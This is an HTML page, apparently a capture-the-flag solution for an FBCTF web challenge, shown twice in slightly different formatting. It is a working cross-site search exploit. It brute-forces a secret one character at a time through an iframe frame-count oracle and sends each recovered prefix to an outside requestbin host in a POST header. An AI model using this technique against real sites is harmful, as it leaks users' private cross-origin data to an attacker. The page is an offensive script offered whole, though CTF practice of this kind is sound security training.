cimi/note.html

## note.html
<html>

<head>
    <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
    <script>
        window.onload = function () {
            var flag = "fb{cr055_s173_l34|<5_4r4_c00o";
            //var flag = "fffff";
            var cur_flag = flag;
            var cur_char = "";
            var frame = document.getElementById("xss");
            var i = 0;
            frame.onload = function () {
                if (frame.contentWindow.length == 1) {
                    console.log("Success!");
                    console.log(cur_flag);
                    if (cur_char === "_" || cur_char === "}") {
                        const url = 'http://requestbin.fullcontact.com/142e9or1';
                        fetch(url, {
                            method: 'POST', // *GET, POST, PUT, DELETE, etc.
                            mode: 'no-cors', // no-cors, cors, *same-origin
                            cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
                            credentials: 'omit', // include, *same-origin, omit
                            headers: {
                                'X-Flag': cur_flag
                            },
                        });
                    }

                    flag = cur_flag;
                    i = 0;
                    try_next_char();
                } else {
                    i++;
                    if (i <= num_chars) {
                        try_next_char();
                    }
                }
            };

            var chars = "}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";

            var num_chars = chars.length;

            function try_next_char() {
                cur_char = chars[i];
                cur_flag = flag + cur_char;
                frame.src = "http://challenges.fbctf.com:8082/search?query=" + cur_flag;
            }

            try_next_char();
        }
    </script>
</head>
<body>
    <iframe id="xss" src="http://challenges.fbctf.com:8082/search?query=0">

    </iframe>
</body>
</html>
	<html>

	<head>
	<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
	<script>
	window.onload = function () {
	var flag = "fb{cr055_s173_l34\|<5_4r4_c00o";
	//var flag = "fffff";
	var cur_flag = flag;
	var cur_char = "";
	var frame = document.getElementById("xss");
	var i = 0;
	frame.onload = function () {
	if (frame.contentWindow.length == 1) {
	console.log("Success!");
	console.log(cur_flag);
	if (cur_char === "_" \|\| cur_char === "}") {
	const url = 'http://requestbin.fullcontact.com/142e9or1';
	fetch(url, {
	method: 'POST', // *GET, POST, PUT, DELETE, etc.
	mode: 'no-cors', // no-cors, cors, *same-origin
	cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
	credentials: 'omit', // include, *same-origin, omit
	headers: {
	'X-Flag': cur_flag
	},
	});
	}

	flag = cur_flag;
	i = 0;
	try_next_char();
	} else {
	i++;
	if (i <= num_chars) {
	try_next_char();
	}
	}
	};

	var chars = "}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{\|}~ \t\n\r\x0b\x0c";

	var num_chars = chars.length;

	function try_next_char() {
	cur_char = chars[i];
	cur_flag = flag + cur_char;
	frame.src = "http://challenges.fbctf.com:8082/search?query=" + cur_flag;
	}

	try_next_char();
	}
	</script>
	</head>
	<body>
	<iframe id="xss" src="http://challenges.fbctf.com:8082/search?query=0">

	</iframe>
	</body>
	</html>